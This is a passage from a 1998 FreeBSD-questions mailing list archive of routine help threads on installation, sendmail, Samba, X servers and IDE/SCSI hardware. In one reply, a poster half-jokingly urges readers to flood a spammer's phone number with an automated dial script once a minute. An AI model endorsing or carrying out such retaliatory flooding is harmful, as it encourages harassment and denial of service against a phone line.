users group >> in the San Diego, CA Area. It is a shame that everything >> always happens up the coast. ;-) > > I'm pretty sure that there is not such a group, but I'd be interested >in being part of one. > >Doug > >-- >*** Chief Operations Officer, DALnet IRC network *** >*** Proud operator, designer and maintainer of the world's largest >*** Internet Relay Chat server. 5,328 clients and still growing. >*** Try spider.dal.net on ports 6662-4 (Powered by FreeBSD) > >To Unsubscribe: send mail to majordomo@FreeBSD.org >with "unsubscribe freebsd-questions" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 14:39:37 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id OAA26221 for freebsd-questions-outgoing; Wed, 8 Apr 1998 14:39:37 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from smtp.interlog.com (root@smtp.interlog.com [207.34.202.37]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id OAA26198 for ; Wed, 8 Apr 1998 14:39:22 -0700 (PDT) (envelope-from paulg@interlog.com) Received: from shell1.interlog.com (paulg@shell1.interlog.com [207.34.202.8]) by smtp.interlog.com (8.8.8/8.8.5) with SMTP id RAA27366; Wed, 8 Apr 1998 17:39:03 -0400 (EDT) Date: Wed, 8 Apr 1998 17:39:02 -0400 (EDT) From: Paul Griffith To: Derek Laufenberg cc: freebsd questions Subject: Re: useful docs on amd? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Try the following: http://www.netbsd.org/Documentation/bsd/amdref.html Paul Griffith - paulg@interlog.com On Wed, 8 Apr 1998, Derek Laufenberg wrote: > > I rtfm'd the amd and amq man pages and need a few more clues. The sample > file /etc/amd.map also wasn't a useful "Rossetta Stone". Can anyone > point me to another source? Or some sample map files? > > What I want to do is automount the various cdroms on my net, but I'd kinda > like to know what else may be done with it. > > BTW: I also grep'd thru the FAQ and Handbook on disk 3 of 2.2.5R and > found no info there. > > Thanks, > > derek > > ------------------------------------------------------------------ > Derek Laufenberg Laufenberg Consulting > laufen@wi.net Networking, DICOM > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 14:45:45 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id OAA26996 for freebsd-questions-outgoing; Wed, 8 Apr 1998 14:45:45 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from jason01.u.washington.edu (root@jason01.u.washington.edu [140.142.70.24]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id OAA26982 for ; Wed, 8 Apr 1998 14:45:34 -0700 (PDT) (envelope-from jcwells@u.washington.edu) Received: from saul9.u.washington.edu (root@saul9.u.washington.edu [140.142.82.7]) by jason01.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id OAA19806 for ; Wed, 8 Apr 1998 14:45:33 -0700 Received: from s8-37-26.student.washington.edu (S8-37-26.student.washington.edu [128.208.37.26]) by saul9.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.04) with SMTP id OAA14802 for ; Wed, 8 Apr 1998 14:45:24 -0700 (PDT) Date: Wed, 8 Apr 1998 13:44:12 -0700 (PDT) From: "Jason C. Wells" X-Sender: jason@s8-37-26.student.washington.edu Reply-To: "Jason C. Wells" To: freebsd-questions@FreeBSD.ORG Subject: Re: FREE GIFT!!! (fwd) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, 8 Apr 1998 owner-freebsd-questions@FreeBSD.ORG wrote: > Hello, > > FREE GIFT!!!!!FREE GIFT!!!! FREE GIFT!!!! FREE GIFT!!! FREE GIFT!!!! > Please call NOW!! 1-800-374-3611 Tell the operator you are responding This one came from "OWNER"? Has Mr. Bressler gone to the darkside? :) A phone number eh? I don't have a modem. I invite anyone who has one to run a dial script to this number once per minute until your 32 bit clock runs out. This would of course be sinking to the level of spammer, but it sure would be nice to get even. :) Have fun, | Stop warning me about the latest virus. Learn more... Jason Wells | http://ciac.llnl.gov/ciac/CIACHoaxes.html To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 14:51:43 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id OAA28269 for freebsd-questions-outgoing; Wed, 8 Apr 1998 14:51:43 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from jason02.u.washington.edu (root@jason02.u.washington.edu [140.142.76.8]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id OAA28209 for ; Wed, 8 Apr 1998 14:51:33 -0700 (PDT) (envelope-from jcwells@u.washington.edu) Received: from saul6.u.washington.edu (root@saul6.u.washington.edu [140.142.82.1]) by jason02.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id OAA18884; Wed, 8 Apr 1998 14:51:33 -0700 Received: from s8-37-26.student.washington.edu (S8-37-26.student.washington.edu [128.208.37.26]) by saul6.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.04) with SMTP id OAA23570; Wed, 8 Apr 1998 14:51:31 -0700 (PDT) Date: Wed, 8 Apr 1998 13:50:20 -0700 (PDT) From: "Jason C. Wells" X-Sender: jason@s8-37-26.student.washington.edu Reply-To: "Jason C. Wells" To: Mike Rapagna cc: questions@FreeBSD.ORG Subject: Re: Help In-Reply-To: <3.0.32.19980408172632.0068a940@mydesktop.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, 8 Apr 1998, Mike Rapagna wrote: > Hello, > > I just received my 4cd set of FreeBSD, and am having trouble installing > it. First of all, it doesn't detect my CD-ROM drive, so I can't use it. I > tried setting it up in the kernel config, but it still doesn't work. So Are your jumpers set correctly to master or slave? Win95 is notorious for reading the cdrom even if the jumpers are set incorrectly. (At least w95 is notorious on my system. YMMV :)) Is it an IDE or SCSI drive? > then I tried installing from a DOS partition. Everything is fine, under > when it is installing I get the error message "Error mounting DOS partition > /dev/wd0s2: Invalid argument (22)." What does this mean and how can I fix > it? Thanx for any help. '/dev/wd0s2' is most likely your BSD partition. '/dev/wd0s1' is most likely your dos partition. Are you sure you have these straight? Have fun, | Stop warning me about the latest virus. Learn more... Jason Wells | http://ciac.llnl.gov/ciac/CIACHoaxes.html To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 14:55:05 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id OAA28951 for freebsd-questions-outgoing; Wed, 8 Apr 1998 14:55:05 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from tps.sk (tps@tps.sk [195.168.1.7]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id OAA28926 for ; Wed, 8 Apr 1998 14:54:51 -0700 (PDT) (envelope-from tps@tps.sk) Received: (from tps@localhost) by tps.sk (8.8.8/8.8.7) id XAA00412 for questions@freebsd.org; Wed, 8 Apr 1998 23:54:40 +0200 (CEST) (envelope-from tps) From: Tomas TPS Ulej Message-Id: <199804082154.XAA00412@tps.sk> Subject: 2xSCSI + 1xIDE HDD To: questions@FreeBSD.ORG Date: Wed, 8 Apr 1998 23:54:40 +0200 (CEST) X-Mailer: ELM [version 2.4ME+ PL32 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I have problem with booting. My old system had 2 harddrives (SCSI). Now I add slower IDE Disk for mirroring and I am not able more booting system from SCSI diskdrive 'cose BIOS assign driveletter C: and SCSI #1 disk has D: now. How can I tell my computer "BOOT FROM DRIVE D:, IGNORE C:"? -TPS To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 15:07:22 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id PAA00672 for freebsd-questions-outgoing; Wed, 8 Apr 1998 15:07:22 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from jharris.com (cody.jharris.com [205.238.128.83]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id PAA00665 for ; Wed, 8 Apr 1998 15:07:14 -0700 (PDT) (envelope-from me@jharris.com) Received: from amanda (lillboy.ciris.net [207.51.234.146]) by jharris.com (8.8.5/8.8.5) with SMTP id RAA00972 for ; Wed, 8 Apr 1998 17:40:14 -0500 (CDT) Message-Id: <199804082240.RAA00972@jharris.com> X-Sender: me@cody.jharris.com X-Mailer: QUALCOMM Windows Eudora Pro Version 4.0 Date: Wed, 08 Apr 1998 17:07:08 -0500 To: freebsd-questions@FreeBSD.ORG From: Jack Harris Subject: Sendmail hangs when Cisco Router pemits only ports, 20,21,25,53,80,110,113 Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG My FreeBSD 2.2.5 RELEASE will not get past the sendmail daemon when booting. Everything boots fine when i dont have cisco access lists in place allowing only ports 20, 21, 25, 53, 80, 110 and 113. A real weird thing is, the system can be up and then I put in the Cisco Access-Lists and the network works as expected. If I restart the FBSD machine it will hang everytime on starting the sendmail daemon and will only pass through that part when I remove the access list from the router. What happens on boot when Sendmail gets started? What port(s) is it using? Is this a sendmail thing, DNS, or other config??? resolv.conf has nameserver 127.0.0.1 nameserver ip of machine in it. Regards, -------------------- Jack Harris me@jharris.com (512) 884-7872 voice (512) 692-0598 fax To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 15:30:18 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id PAA03076 for freebsd-questions-outgoing; Wed, 8 Apr 1998 15:30:18 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from news.cioe.com (news.cioe.com [204.248.219.34]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id PAA03062 for ; Wed, 8 Apr 1998 15:30:11 -0700 (PDT) (envelope-from steve@news.cioe.com) Received: (from steve@localhost) by news.cioe.com (8.8.8/8.8.5) id RAA27723; Wed, 8 Apr 1998 17:30:16 -0500 (EST) Date: Wed, 8 Apr 1998 17:30:16 -0500 (EST) From: Steven Ames Message-Id: <199804082230.RAA27723@news.cioe.com> To: abehar@mail.pacificnet.com.mx, freebsd-questions@FreeBSD.ORG Subject: Re: apache and SSL Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > Im running apache 1.2.5 under a 2.1.7 FreeBSD box. I just want to know if > any of you know if I can get the SSL patch and where. I try to find it in > www.apache.org but I can not. The 'SSL patch' is for non commercial use only I believe... if you want to run commercial get Apache Stronghold or the Raven SSL Module. -Steve To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 15:48:32 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id PAA06169 for freebsd-questions-outgoing; Wed, 8 Apr 1998 15:48:32 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from jharris.com (cody.jharris.com [205.238.128.83]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id PAA06155 for ; Wed, 8 Apr 1998 15:48:20 -0700 (PDT) (envelope-from me@jharris.com) Received: from amanda (lillboy.ciris.net [207.51.234.146]) by jharris.com (8.8.5/8.8.5) with SMTP id SAA01029 for ; Wed, 8 Apr 1998 18:21:26 -0500 (CDT) Message-Id: <199804082321.SAA01029@jharris.com> X-Sender: me@cody.jharris.com X-Mailer: QUALCOMM Windows Eudora Pro Version 4.0 Date: Wed, 08 Apr 1998 17:48:19 -0500 To: freebsd-questions@FreeBSD.ORG From: Jack Harris Subject: Sendmail Hangs when Cisco Router pemits only ports, 20,21,25,53,80,110,113? Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG My FreeBSD 2.2.5 RELEASE will not get past the sendmail daemon when booting. Everything boots fine when i dont have cisco access lists in place allowing only ports 20, 21, 25, 53, 80, 110 and 113. port 20, 21 tcp only port 25 tcp and udp port 53 tcp and udp port 80 tcp only port 110 tcp only ports greater than 1023 tcp and udp All established sessions are permited. A real weird thing is, the system can be up and then I put in the Cisco Access-Lists and the network works as expected. If I restart the FBSD machine it will hang everytime on starting the sendmail daemon and will only pass through that part when I remove the access list from the router. What happens on boot when Sendmail gets started? What port(s) is it using? Is this a sendmail thing, DNS, or other config??? resolv.conf has nameserver 127.0.0.1 nameserver ip of machine in it. Regards, -------------------- Jack Harris me@jharris.com (512) 884-7872 voice (512) 692-0598 fax To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 16:20:22 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id QAA09468 for freebsd-questions-outgoing; Wed, 8 Apr 1998 16:20:22 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from simn.com (simn.com [198.60.81.242]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id QAA09453 for ; Wed, 8 Apr 1998 16:20:10 -0700 (PDT) (envelope-from danny@simn.com) Received: from simon.simn.com (r30.simn.com [199.5.215.1]) by simn.com (8.7.5/8.6.9) with ESMTP id RAA12479 for ; Wed, 8 Apr 1998 17:19:36 -0600 (MDT) Received: from simn.com (ams3 [199.5.215.22]) by simon.simn.com (AIX4.2/UCB 8.7/8.7j) with ESMTP id RAA533102; Wed, 8 Apr 1998 17:19:34 -0600 (MDT) Message-ID: <352C0691.CA75FF4E@simn.com> Date: Wed, 08 Apr 1998 17:21:53 -0600 From: "Danny R. Johnston" Organization: Dick Simon Transportation Inc. X-Mailer: Mozilla 4.04 [en] (X11; I; FreeBSD 2.2.2-RELEASE i386) MIME-Version: 1.0 To: freebsd-questions@FreeBSD.ORG Subject: CD-Rom Burner Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I have been looking for one of the supported CD-ROM (worm) drives, and so far have had no luck. The HP 4020i is no longer in production from HP, infact they don't sell any CD-ROM burners that are SCSI anymore, at least that is what I was told. I can't find anyone with a PLASMON RF4100 in fact the usual response I get is "Who?", no computer store in Utah appers to have ever heard of them except for people that sell large jukeboxes. As for the phillips CDD 522 CDR it has been replaced with the CDD 2600. So now I would like to know if anyone knows if it has the same qurks and will work or am I up the creek without a paddle. If you have any ideas please mail me at danny@simn.com. Thanks. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 16:45:08 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id QAA11232 for freebsd-questions-outgoing; Wed, 8 Apr 1998 16:45:08 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from shell6.ba.best.com (root@shell6.ba.best.com [206.184.139.137]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id QAA11207; Wed, 8 Apr 1998 16:44:54 -0700 (PDT) (envelope-from bannai@shell6.ba.best.com) Received: (from bannai@localhost) by shell6.ba.best.com (8.8.8/8.8.BEST) id QAA01092; Wed, 8 Apr 1998 16:44:21 -0700 (PDT) From: Vinay Bannai Message-Id: <199804082344.QAA01092@shell6.ba.best.com> Subject: Matrox MGA card!! To: freebsd-questions@FreeBSD.ORG, freebsd-hackers@FreeBSD.ORG Date: Wed, 8 Apr 1998 16:44:21 -0700 (PDT) X-Mailer: ELM [version 2.4ME+ PL38 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I am trying to setup X server on 2.2.6 and running into all kinds of problems. I have a Matrox MGA with 2MB. I went thru the xf86config setup and when I run startx, I get the server to work but the resolution and screen mod is crappy and I can't seem to cycle thru the various resolutions by pressing ctrl-alt-+ The version of Xfree that i am running is 3.3.2. It deletes the modes because they are outside of the horizontal and vertical ranges. It also says that it is a unknown Matrox chipset and reports 64k video ram. Can anybody shed some light on this? Should I replace the card? Thanks Vinay -- Vinay Bannai E-mail: bannai@best.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 16:48:20 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id QAA12005 for freebsd-questions-outgoing; Wed, 8 Apr 1998 16:48:20 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from blue.knebel.com (pm3bl2-4.csrlink.net [209.173.88.53]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id QAA11853 for ; Wed, 8 Apr 1998 16:48:02 -0700 (PDT) (envelope-from rknebel@csrlink.net) Received: from blue.knebel.com (blue.knebel.com [127.0.0.1]) by blue.knebel.com (8.8.7/8.8.7) with ESMTP id TAA00615 for ; Wed, 8 Apr 1998 19:44:44 -0400 Message-Id: <199804082344.TAA00615@blue.knebel.com> X-Mailer: exmh version 2.0gamma 1/27/96 To: questions@FreeBSD.ORG Subject: xdm Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 08 Apr 1998 19:44:44 -0400 From: Rick Knebel Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi, If you want to start xwindows from xdm automatically what runlevel do you start with? Is it init 5? Thanks Alot -- Rick Knebel rknebel@csrlink.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 16:52:58 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id QAA12792 for freebsd-questions-outgoing; Wed, 8 Apr 1998 16:52:58 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from server4.mpcbbs.com.br (server4.mpc.com.br [200.246.0.252]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id QAA12781 for ; Wed, 8 Apr 1998 16:52:46 -0700 (PDT) (envelope-from capriotti@geocities.com) Received: from hot_nt (node73.mpc.com.br [200.246.0.73]) by server4.mpcbbs.com.br (8.8.6/8.8.6) with SMTP id UAA04849; Wed, 8 Apr 1998 20:51:39 -0300 (EST) Message-Id: <3.0.32.19980409084028.00941bb0@pop.mpc.com.br> X-Sender: capriotti@pop.mpc.com.br X-Mailer: Windows Eudora Pro Version 3.0 (32) Date: Thu, 09 Apr 1998 08:46:30 -0300 To: "Gary Lahr" , From: Capriotti Subject: Re: Samba Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG At 12:42 PM 4/8/98 -0400, Gary Lahr wrote: >I am trying to setup samba on version 2.2.5 of BSD. I loaded the software >from the ports collection and I am having a difficult time getting it to >work. My config file is very small: > >[homes] > comment = Home Directories > browseable = yes > writable = yes > read only = no > create mode = 0750 OK. I don't have too much experience with [homes], but I guess there is a parameter missing there. sometihng like path=/momes/$user I am not sure. > >but I cannot connect to the share from NT. I am trying to map a drive to >\\develbsd\gary. develbsd is the DNS name for the system and gary is a valid >account. Does anyone know what I am doing wrong? When I map to the drive I >get the username password prompt but the name and password don't match >according to the message I get. I assure you I'm using the correct password >for the gary account. > >I can use the smbclient to map to an NT share so it looks like the service >is working ok. > >any help would be great...thanks Had a similar problem before ! NT is slow. Allow it 2 minutes - minimun - to read the network again, or it will try to use the cached network info it's saved. If you have your user list on the FBSD machine, AND an NT on the network, you will need to take special care, or the username/password won't work. Take a closer look at the documentation; If you can't locate it, unpack the samba package in one directory, and search for the .txt and html files there. They solve almost any problem. I hope it helped. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 16:53:23 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id QAA12869 for freebsd-questions-outgoing; Wed, 8 Apr 1998 16:53:23 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from server4.mpcbbs.com.br (server4.mpc.com.br [200.246.0.252]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id QAA12788 for ; Wed, 8 Apr 1998 16:52:56 -0700 (PDT) (envelope-from capriotti@geocities.com) Received: from hot_nt (node73.mpc.com.br [200.246.0.73]) by server4.mpcbbs.com.br (8.8.6/8.8.6) with SMTP id UAA04852; Wed, 8 Apr 1998 20:51:42 -0300 (EST) Message-Id: <3.0.32.19980409084259.0095a5b0@pop.mpc.com.br> X-Sender: capriotti@pop.mpc.com.br X-Mailer: Windows Eudora Pro Version 3.0 (32) Date: Thu, 09 Apr 1998 08:46:32 -0300 To: "Michael P. Sale" , "Michael Baker" , From: Capriotti Subject: Re: Stupid Question Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG you might as well take a look at http://www.vmunix.com/fbsd-book/ At 10:14 AM 4/8/98 -0700, Michael P. Sale wrote: >Hi Michael, > >As a new newbie (me), I think that I may be able to offer some practical >advice. > >Instead of trying to download it off the net, go to www.cdrom.com (Walnut >Creek) and order the CD set and the book. I dont remember it being more >than $50.00. The CD set has so much stuff you'll dig it, and the book is >VERY needed if you are new to both UNIX and freebsd. > >Good luck, > >Mike >---------------------------------------------- >Michael P. Sale >MerchantsNet.Com >mike@merchantsnet.com >www.merchantsnet.com >---------------------------------------------- >"Humility has no equal in the >battle for knowledge" >-- > >-----Original Message----- >From: Michael Baker >To: freebsd-questions@FreeBSD.ORG >Date: Wednesday, April 08, 1998 9:55 AM >Subject: Stupid Question > > >>Sorry to ask this, but I have spent hours on your site looking for the >>answer already so here goes. >> >>I have never used unix. I have a machine that I want to load FreeBSD on >>to learn. What do I need to download? The entire FREEBSD directory? >>Eventually, we want to use this box as a web server. >> >>Thanks, >>-- >>Michael Baker >>InterSight Designs >>"Connecting The World, One Business At A Time" >>mbaker@inter-sight.com >>http://www.inter-sight.com >>- >>http://www.directmovies.com >>"Your Premier On-Line Source for DVD Entertainment" >> >>To Unsubscribe: send mail to majordomo@FreeBSD.org >>with "unsubscribe freebsd-questions" in the body of the message >> > > >To Unsubscribe: send mail to majordomo@FreeBSD.org >with "unsubscribe freebsd-questions" in the body of the message > > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 16:59:49 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id QAA13925 for freebsd-questions-outgoing; Wed, 8 Apr 1998 16:59:49 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from server4.mpcbbs.com.br (server4.mpc.com.br [200.246.0.252]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id QAA13902 for ; Wed, 8 Apr 1998 16:59:26 -0700 (PDT) (envelope-from capriotti@geocities.com) Received: from hot_nt (node73.mpc.com.br [200.246.0.73]) by server4.mpcbbs.com.br (8.8.6/8.8.6) with SMTP id UAA05120; Wed, 8 Apr 1998 20:59:09 -0300 (EST) Message-Id: <3.0.32.19980409084802.0095a5a0@pop.mpc.com.br> X-Sender: capriotti@pop.mpc.com.br X-Mailer: Windows Eudora Pro Version 3.0 (32) Date: Thu, 09 Apr 1998 08:53:59 -0300 To: Mike Rapagna , questions@FreeBSD.ORG From: Capriotti Subject: Re: Help Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG It seems that you're trying to install FBSD from CD-ROM as if it was a dos partition... Did you chhose CDROM as your installation media ? At 05:26 PM 4/8/98 -0400, Mike Rapagna wrote: >Hello, > > I just received my 4cd set of FreeBSD, and am having trouble installing >it. First of all, it doesn't detect my CD-ROM drive, so I can't use it. I >tried setting it up in the kernel config, but it still doesn't work. So >then I tried installing from a DOS partition. Everything is fine, under >when it is installing I get the error message "Error mounting DOS partition >/dev/wd0s2: Invalid argument (22)." What does this mean and how can I fix >it? Thanx for any help. > > Mike > >To Unsubscribe: send mail to majordomo@FreeBSD.org >with "unsubscribe freebsd-questions" in the body of the message > > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 17:00:20 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id RAA14212 for freebsd-questions-outgoing; Wed, 8 Apr 1998 17:00:20 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from server4.mpcbbs.com.br (server4.mpc.com.br [200.246.0.252]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id RAA14047; Wed, 8 Apr 1998 17:00:04 -0700 (PDT) (envelope-from capriotti@geocities.com) Received: from hot_nt (node73.mpc.com.br [200.246.0.73]) by server4.mpcbbs.com.br (8.8.6/8.8.6) with SMTP id UAA05128; Wed, 8 Apr 1998 20:59:13 -0300 (EST) Message-Id: <3.0.32.19980409085341.00bc7a90@pop.mpc.com.br> X-Sender: capriotti@pop.mpc.com.br X-Mailer: Windows Eudora Pro Version 3.0 (32) Date: Thu, 09 Apr 1998 08:54:03 -0300 To: Vinay Bannai , freebsd-questions@FreeBSD.ORG, freebsd-hackers@FreeBSD.ORG From: Capriotti Subject: Re: Matrox MGA card!! Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG At 04:44 PM 4/8/98 -0700, Vinay Bannai wrote: >Can anybody shed some light on this? Should I replace the card? That's an easy one, heheh. If you can afford for, let's say $30, buy a 2MB brandless S3 virge card. Works great ! > >Thanks >Vinay >-- >Vinay Bannai E-mail: bannai@best.com > > > >To Unsubscribe: send mail to majordomo@FreeBSD.org >with "unsubscribe freebsd-questions" in the body of the message > > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 17:00:50 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id RAA14672 for freebsd-questions-outgoing; Wed, 8 Apr 1998 17:00:50 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from server4.mpcbbs.com.br (server4.mpc.com.br [200.246.0.252]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id RAA14492 for ; Wed, 8 Apr 1998 17:00:37 -0700 (PDT) (envelope-from capriotti@geocities.com) Received: from hot_nt (node73.mpc.com.br [200.246.0.73]) by server4.mpcbbs.com.br (8.8.6/8.8.6) with SMTP id UAA05124; Wed, 8 Apr 1998 20:59:11 -0300 (EST) Message-Id: <3.0.32.19980409085105.013733e0@pop.mpc.com.br> X-Sender: capriotti@pop.mpc.com.br X-Mailer: Windows Eudora Pro Version 3.0 (32) Date: Thu, 09 Apr 1998 08:54:01 -0300 To: Scott Mitchell , Andrew From: Capriotti Subject: Re: IDE question Cc: questions@FreeBSD.ORG Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG FYI guys, I own a Promise IDE Vesa controller which does controll 4 IDE drives. (FBSD can only see 2 of them. There are drivers for SCO, but not FBSD) BUT floppies are treated as floppies, always. At 08:25 PM 4/7/98 +0100, Scott Mitchell wrote: >Yes, IDE is always a maximum of two devices per controller/channel/whatever >they call it. Most motherboards come with two onboard controllers these >days. Regarding sound cards, you can indeed attach a disk to them -- I >have one attached to my SB16. > >Getting back to the original poster's question -- are you sure that the >floppy drives are on an IDE controller? That would be very unusual; >generally they have their own controller. Check the cable, it should look >different to the IDE one. You might have another IDE controller that you >don't know about :) Maybe check your BIOS setup screens and see how many >hard drives it will let you configure. > >HTH, > > Scott > >Andrew said: >>I think that you'll find that you are out of luck. I have never heard of >>more than two ide devices on one ide controller, cd-rom or hard disk >>drive. You may be able to put in another ide controller card but I've >>never tried it and don't know anyone who has. I've often wondered if you >>can put a hard drive on the ide port on some sound cards as well but never >>got around to trying it. >> >>Andrew Perry >> >>> >>> I have two IDE controllers on my motherboard. One is cabled to the >>> two floppy drives, and the other to a CD-ROM drive and to the hard >>> drive. > >-- >=========================================================================== >Scott Mitchell | PGP Key ID |"If I can't have my coffee, I'm just > | 0x54B171B9 | like a dried up piece of roast goat" >QMW College, London, UK | 0xAA775B8B | -- J. S. Bach. > >To 